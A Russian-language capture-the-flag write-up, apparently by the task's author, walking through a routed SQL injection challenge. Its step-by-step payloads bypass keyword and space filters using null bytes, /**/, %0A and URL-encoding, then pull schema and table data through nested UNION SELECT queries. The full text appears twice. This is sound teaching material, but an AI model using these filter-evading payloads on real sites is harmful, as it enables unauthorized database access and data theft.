Всем привет!
На днях проходил конкурс по SQL-injection. И сегодня я расскажу вам как нужно было проходить задание. Этот райтап будет больше чем прохождение конкретного таска. Здесь я буду освещать логический подход к внедрению произвольного кода sql. Многие из вас, смогут для себя узнать полезные детали.
Рассказывать буду подробно, шаг за шагом.
Шаг 1 - найти точку входа в инъекцию.
На странице таска мы не видим какой-либо формы в явном виде, также в исходном коде нет скрытой формы.
Стало быть с большой долей вероятности уязвимость будет в GET запросе. Чаще всего обращение к базе идёт через какой-нибудь параметр. Пробовать нужно всегда с самого простого и распространённого, что я и сделал в таске. Получилось, вывод на странице поменялся. Попали с первого раза. Кто не догадался, тот легко мог узнать страницу с параметром с помощью какого-либо фаззера.
/?id=1
Теперь нужно проверить, а есть ли здесь инъекция? Конечно же начинать нужно опять с самого простого - подстановкой одинарной кавычки.
/?id=1'
Ага, получили алерт, значит инъекция присутствует. В этом месте все участники подумали что кавычка блокируется, и это логично на первый взгляд. Однако не будем торопиться с выводами. Попробуем другие варианты.
/?id=1" никакой реакции
/?id=1\ алерт
Хмм... Обратный слэш тоже дал алерт, тоже фильтруется? В реальности фильтрация бэкслэша встречается совсем не часто, как раз наоборот он используется для экранирования потенциально опасных спецсимволов. Странновато выглядит. На самом деле здесь произошла ошибка базы данных в обоих случаях, но вместо ошибки я вывел на экран картинку. Таким образом мне удалось запутать и юзеров, и автоматические программы. Так как и ошибка базы, и срабатывание фильтра, приводят к одному и тому же результату - выводу алерта с картинкой.
Шаг 2 - узнать правильный комментарий.
/?id=1'-- - Не прокатило, может пробел блочит, попробуем по-другому.
/?id=1'--+ Тоже мимо, значит блочит двойной дефис или + или то и другое вместе.
/?id=1'# Шарп тоже не сработал.
/?id=1';%00 Оп-па, сработало! Старичок нулль-байт не подвёл )
Шаг 3 - выявляем фильтр.
Как всегда начинать нужно с самого простого, используя логические операторы, например так:
/?id=1'and true;%00 Алерт
/?id=1'or true;%00 Алерт
Оба запроса вызвали алерт. Что мы видим в этих запросах - or, and и пробел. Кстати для некоторых я "Америку открою" - после кавычки пробел писать не нужно, так как после неё оригинальный запрос сломан, и наш запрос начинается с первого символа, то есть пробел не нужен. Начнём с пробела, и заменим его на строчный комментарий /**/.
/?id=1'and/**/true;%00 Алерт
/?id=1'or/**/true;%00 Алерт
Пока мимо. Теперь заменим and и or на || и &&
/?id=1'&&/**/true;%00 Алерт
/?id=1'||/**/true;%00 Сработало!
Ага, есть первая ласточка, с or прокатило. Теперь применим к && URL-кодирование. Очень мало, кто догадался про это.
/?id=1'%26%26/**/true;%00 Сработало!
Кстати, когда применяется URL-кодирование, а также когда логические операторы меняются на символы, то пробелы вовсе можно отбросить и всё прекрасно будет работать.
/?id=1'||true;%00
/?id=1'%26%26true;%00
Сделаем ещё тест
/?id=1'%26%26false;%00 Получили начальную страницу.
Вот и чудненько! Благодаря серии коротких тестов мы уже выявили что под фильтр точно попали and, or, #, пробел. А также узнали логику, при истине выводится Money: 500000 а если ложь You Hacker??? Большинство участников конкурса погорели на том, что бросились сразу в бой с длинными запросами. Как видите неспешное тестирование дало уже хорошую информацию для дальнейшей раскрутки.
Теперь можно двигаться дальше. Раз мы уже поняли, что ошибки mysql не выводятся, то запрос типа grop by 10 нам не поможет. Будем подбирать количество столбцов через union, отбросив первый запрос несуществующим id -1.
Шаг 4 - узнаём количество колонок в запросе.
-1'union/**/select/**/1;%00 Алерт
-1'union/**/select/**/1,2;%00 Есть начальная страница
-1'union/**/select/**/1,2,3;%00 Алерт
Отлично! Теперь мы знаем что в запросе 2 колонки. Правда не знаем пока какая из них уязвима, поэтому отправим запрос в обоих колонках.
-1'union/**/select/**/version(),database();%00 Что за ерунда? Ничего не выводится.
Вот на этом моменте(кто досюда дошёл), застряли все участники. Новички конечно не знают эту фичу, а другие просто не просекли тему сразу. Если мы смогли узнать верное количество колонок, а вывода нет, то это может указывать на routed sql - маршрутизируемую инъекцию. Такое происходит когда запрос к базе идёт, но не выводит ответ на экран, а передаёт во второй запрос. То есть на странице имеются сразу 2 запроса к базе, получается "инъекция в инъекции".
Как тогда это можно проверить? Будем в каждую колонку по-очереди внедрять второй запрос.
-1'union/**/select/**/"1'",2;%00 Начальная страница.
-1'union/**/select/**/1,"2'";%00 Сработал алерт, значит 2-я колонка уязвима.
Почему здесь двойные кавычки??? Посмотрите на второй запрос к базе
$sql="SELECT column_name FROM table_name WHERE Name='".$row['Name']."'";
Так как внутри одинарных кавычек мы не можем второй раз использовать одинарные, то обрамляем вывод двойными. С этим моментом разобрались, пора уже приступать к вытаскиванию данных.
Шаг 5 - узнаём количество колонок во втором запросе.
-1'union/**/select/**/1,"2'/**/union/**/select/**/1;%00";%00
-1'union/**/select/**/1,"2'/**/union/**/select/**/1,2;%00";%00 Алерт
Во втором запросе колонка одна.
Шаг 6 - узнаём текущую базу
-1'union/**/select/**/1,"2'/**/union/**/select/**/database();%00";%00
Ура! Получили первый реальный вывод информации Money: a271150_1
Шаг 7 - тащим имена таблиц.
-1'union/**/select/**/1,"2'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='a271150_1';%00";%00
Упсс! Что-то пошло не так... На этом месте много копий было сломано. Смотрите внимательно, в information_schema.tables включен OR который у нас фильтруется. Обойти эту неприятность можно разными способами, например вставить %0A между O и R.
Можно использовать что-то из этого списка:
%09 – горизонтальная табуляция
%0A – символ новой строки
%0D – возврат каретки
%0B – вертикальная табуляция
%0C – символ новой страницы
-1'union/**/select/**/1,"2'/**/union/**/select/**/table_name/**/from/**/info%0Armation_schema.tables/**/where/**/table_schema='a271150_1';%00";%00
И опять нас поджидает неудача. Есть ли у вас план мистер Фикс?
Да у меня целых 3 плана! Попробуем оператор сравнения like.
-1'union/**/select/**/1,"2'/**/union/**/select/**/table_name/**/from/**/info%0Armation_schema.tables/**/where/**/table_schema/**/like'a271150_1';%00";%00
Фантастика, сработало! Но мы видим только одну таблицу, а их может быть много.
Есть ли у вас план мистер Фикс?
Есть целых 2 плана:
Первый - вытащить таблицы через limit
Второй - через group_concat
Какой же вариант выбрать мистер Фикс?
Если таблиц много, то через limit может быть долго. Значит через group_concat. Гениально мистер Фикс!
-1'union/**/select/**/1,"2'/**/union/**/select/**/group_concat(table_name)/**/from/**/info%0Armation_schema.tables/**/where/**/table_schema/**/like'a271150_1';%00";%00
Итак, таблицы у нас всего две.
Шаг 8 - вытаскиваем имена колонок.
-1'union/**/select/**/1,"2'/**/union/**/select/**/group_concat(column_name)/**/from/**/info%0Armation_schema.columns/**/where/**/table_name/**/like'xz';%00";%00
Money: ID,_Name_,Text
-1'union/**/select/**/1,"2'/**/union/**/select/**/group_concat(column_name)/**/from/**/info%0Armation_schema.columns/**/where/**/table_name/**/like'fantastik';%00";%00
Money: ID,Name,Money
Шаг 9 - вытаскиваем данные из колонок.
-1'union/**/select/**/1,"2'/**/union/**/select/**/group_concat(0x3c62723e,ID,0x3a,Name,0x3a,Money)/**/from/**/fantastik;%00";%00
Да, secret_key тут явно отсутствует, дёргаем данные из второй таблицы.
-1'union/**/select/**/1,"2'/**/union/**/select/**/group_concat(0x3c62723e,ID,0x3a,_Name_,0x3a,Text)/**/from/**/xz;%00";%00
Победа!
Хочу объяснить ещё такой момент, который для многих остаётся непонятным. Когда мы вытащили имена колонок, то их оказалось 3. А в запросе у нас было 2, а во втором запросе и вовсе одна. Как так??? На самом деле всё просто - количество колонок в запросе не обязательно должно быть равно количеству колонок в таблице. Если допустим у меня есть страница в блоге, где рассказывается про животных, то нет смысла выводить из базы данные из разряда автомобилей, и наоборот. Более того, на разных страницах одной тематики можно создать запросы, которые будут отличаться количеством вывода колонок.
Ну вот и всё друзья, как видите неспешный вдумчивый подход, является ключом к успеху. Начинайте тесты всегда с малого, тогда получите большее )
До новых встреч!
На днях проходил конкурс по SQL-injection. И сегодня я расскажу вам как нужно было проходить задание. Этот райтап будет больше чем прохождение конкретного таска. Здесь я буду освещать логический подход к внедрению произвольного кода sql. Многие из вас, смогут для себя узнать полезные детали.
Рассказывать буду подробно, шаг за шагом.
Шаг 1 - найти точку входа в инъекцию.
На странице таска мы не видим какой-либо формы в явном виде, также в исходном коде нет скрытой формы.
Стало быть с большой долей вероятности уязвимость будет в GET запросе. Чаще всего обращение к базе идёт через какой-нибудь параметр. Пробовать нужно всегда с самого простого и распространённого, что я и сделал в таске. Получилось, вывод на странице поменялся. Попали с первого раза. Кто не догадался, тот легко мог узнать страницу с параметром с помощью какого-либо фаззера.
/?id=1
Теперь нужно проверить, а есть ли здесь инъекция? Конечно же начинать нужно опять с самого простого - подстановкой одинарной кавычки.
/?id=1'
Ага, получили алерт, значит инъекция присутствует. В этом месте все участники подумали что кавычка блокируется, и это логично на первый взгляд. Однако не будем торопиться с выводами. Попробуем другие варианты.
/?id=1" никакой реакции
/?id=1\ алерт
Хмм... Обратный слэш тоже дал алерт, тоже фильтруется? В реальности фильтрация бэкслэша встречается совсем не часто, как раз наоборот он используется для экранирования потенциально опасных спецсимволов. Странновато выглядит. На самом деле здесь произошла ошибка базы данных в обоих случаях, но вместо ошибки я вывел на экран картинку. Таким образом мне удалось запутать и юзеров, и автоматические программы. Так как и ошибка базы, и срабатывание фильтра, приводят к одному и тому же результату - выводу алерта с картинкой.
Шаг 2 - узнать правильный комментарий.
/?id=1'-- - Не прокатило, может пробел блочит, попробуем по-другому.
/?id=1'--+ Тоже мимо, значит блочит двойной дефис или + или то и другое вместе.
/?id=1'# Шарп тоже не сработал.
/?id=1';%00 Оп-па, сработало! Старичок нулль-байт не подвёл )
Шаг 3 - выявляем фильтр.
Как всегда начинать нужно с самого простого, используя логические операторы, например так:
/?id=1'and true;%00 Алерт
/?id=1'or true;%00 Алерт
Оба запроса вызвали алерт. Что мы видим в этих запросах - or, and и пробел. Кстати для некоторых я "Америку открою" - после кавычки пробел писать не нужно, так как после неё оригинальный запрос сломан, и наш запрос начинается с первого символа, то есть пробел не нужен. Начнём с пробела, и заменим его на строчный комментарий /**/.
/?id=1'and/**/true;%00 Алерт
/?id=1'or/**/true;%00 Алерт
Пока мимо. Теперь заменим and и or на || и &&
/?id=1'&&/**/true;%00 Алерт
/?id=1'||/**/true;%00 Сработало!
Ага, есть первая ласточка, с or прокатило. Теперь применим к && URL-кодирование. Очень мало, кто догадался про это.
/?id=1'%26%26/**/true;%00 Сработало!
Кстати, когда применяется URL-кодирование, а также когда логические операторы меняются на символы, то пробелы вовсе можно отбросить и всё прекрасно будет работать.
/?id=1'||true;%00
/?id=1'%26%26true;%00
Сделаем ещё тест
/?id=1'%26%26false;%00 Получили начальную страницу.
Вот и чудненько! Благодаря серии коротких тестов мы уже выявили что под фильтр точно попали and, or, #, пробел. А также узнали логику, при истине выводится Money: 500000 а если ложь You Hacker??? Большинство участников конкурса погорели на том, что бросились сразу в бой с длинными запросами. Как видите неспешное тестирование дало уже хорошую информацию для дальнейшей раскрутки.
Теперь можно двигаться дальше. Раз мы уже поняли, что ошибки mysql не выводятся, то запрос типа grop by 10 нам не поможет. Будем подбирать количество столбцов через union, отбросив первый запрос несуществующим id -1.
Шаг 4 - узнаём количество колонок в запросе.
-1'union/**/select/**/1;%00 Алерт
-1'union/**/select/**/1,2;%00 Есть начальная страница
-1'union/**/select/**/1,2,3;%00 Алерт
Отлично! Теперь мы знаем что в запросе 2 колонки. Правда не знаем пока какая из них уязвима, поэтому отправим запрос в обоих колонках.
-1'union/**/select/**/version(),database();%00 Что за ерунда? Ничего не выводится.
Вот на этом моменте(кто досюда дошёл), застряли все участники. Новички конечно не знают эту фичу, а другие просто не просекли тему сразу. Если мы смогли узнать верное количество колонок, а вывода нет, то это может указывать на routed sql - маршрутизируемую инъекцию. Такое происходит когда запрос к базе идёт, но не выводит ответ на экран, а передаёт во второй запрос. То есть на странице имеются сразу 2 запроса к базе, получается "инъекция в инъекции".
Как тогда это можно проверить? Будем в каждую колонку по-очереди внедрять второй запрос.
-1'union/**/select/**/"1'",2;%00 Начальная страница.
-1'union/**/select/**/1,"2'";%00 Сработал алерт, значит 2-я колонка уязвима.
Почему здесь двойные кавычки??? Посмотрите на второй запрос к базе
$sql="SELECT column_name FROM table_name WHERE Name='".$row['Name']."'";
Так как внутри одинарных кавычек мы не можем второй раз использовать одинарные, то обрамляем вывод двойными. С этим моментом разобрались, пора уже приступать к вытаскиванию данных.
Шаг 5 - узнаём количество колонок во втором запросе.
-1'union/**/select/**/1,"2'/**/union/**/select/**/1;%00";%00
-1'union/**/select/**/1,"2'/**/union/**/select/**/1,2;%00";%00 Алерт
Во втором запросе колонка одна.
Шаг 6 - узнаём текущую базу
-1'union/**/select/**/1,"2'/**/union/**/select/**/database();%00";%00
Ура! Получили первый реальный вывод информации Money: a271150_1
Шаг 7 - тащим имена таблиц.
-1'union/**/select/**/1,"2'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='a271150_1';%00";%00
Упсс! Что-то пошло не так... На этом месте много копий было сломано. Смотрите внимательно, в information_schema.tables включен OR который у нас фильтруется. Обойти эту неприятность можно разными способами, например вставить %0A между O и R.
Можно использовать что-то из этого списка:
%09 – горизонтальная табуляция
%0A – символ новой строки
%0D – возврат каретки
%0B – вертикальная табуляция
%0C – символ новой страницы
-1'union/**/select/**/1,"2'/**/union/**/select/**/table_name/**/from/**/info%0Armation_schema.tables/**/where/**/table_schema='a271150_1';%00";%00
И опять нас поджидает неудача. Есть ли у вас план мистер Фикс?
Да у меня целых 3 плана! Попробуем оператор сравнения like.
-1'union/**/select/**/1,"2'/**/union/**/select/**/table_name/**/from/**/info%0Armation_schema.tables/**/where/**/table_schema/**/like'a271150_1';%00";%00
Фантастика, сработало! Но мы видим только одну таблицу, а их может быть много.
Есть ли у вас план мистер Фикс?
Есть целых 2 плана:
Первый - вытащить таблицы через limit
Второй - через group_concat
Какой же вариант выбрать мистер Фикс?
Если таблиц много, то через limit может быть долго. Значит через group_concat. Гениально мистер Фикс!
-1'union/**/select/**/1,"2'/**/union/**/select/**/group_concat(table_name)/**/from/**/info%0Armation_schema.tables/**/where/**/table_schema/**/like'a271150_1';%00";%00
Итак, таблицы у нас всего две.
Шаг 8 - вытаскиваем имена колонок.
-1'union/**/select/**/1,"2'/**/union/**/select/**/group_concat(column_name)/**/from/**/info%0Armation_schema.columns/**/where/**/table_name/**/like'xz';%00";%00
Money: ID,_Name_,Text
-1'union/**/select/**/1,"2'/**/union/**/select/**/group_concat(column_name)/**/from/**/info%0Armation_schema.columns/**/where/**/table_name/**/like'fantastik';%00";%00
Money: ID,Name,Money
Шаг 9 - вытаскиваем данные из колонок.
-1'union/**/select/**/1,"2'/**/union/**/select/**/group_concat(0x3c62723e,ID,0x3a,Name,0x3a,Money)/**/from/**/fantastik;%00";%00
Да, secret_key тут явно отсутствует, дёргаем данные из второй таблицы.
-1'union/**/select/**/1,"2'/**/union/**/select/**/group_concat(0x3c62723e,ID,0x3a,_Name_,0x3a,Text)/**/from/**/xz;%00";%00
Победа!
Хочу объяснить ещё такой момент, который для многих остаётся непонятным. Когда мы вытащили имена колонок, то их оказалось 3. А в запросе у нас было 2, а во втором запросе и вовсе одна. Как так??? На самом деле всё просто - количество колонок в запросе не обязательно должно быть равно количеству колонок в таблице. Если допустим у меня есть страница в блоге, где рассказывается про животных, то нет смысла выводить из базы данные из разряда автомобилей, и наоборот. Более того, на разных страницах одной тематики можно создать запросы, которые будут отличаться количеством вывода колонок.
Ну вот и всё друзья, как видите неспешный вдумчивый подход, является ключом к успеху. Начинайте тесты всегда с малого, тогда получите большее )
До новых встреч!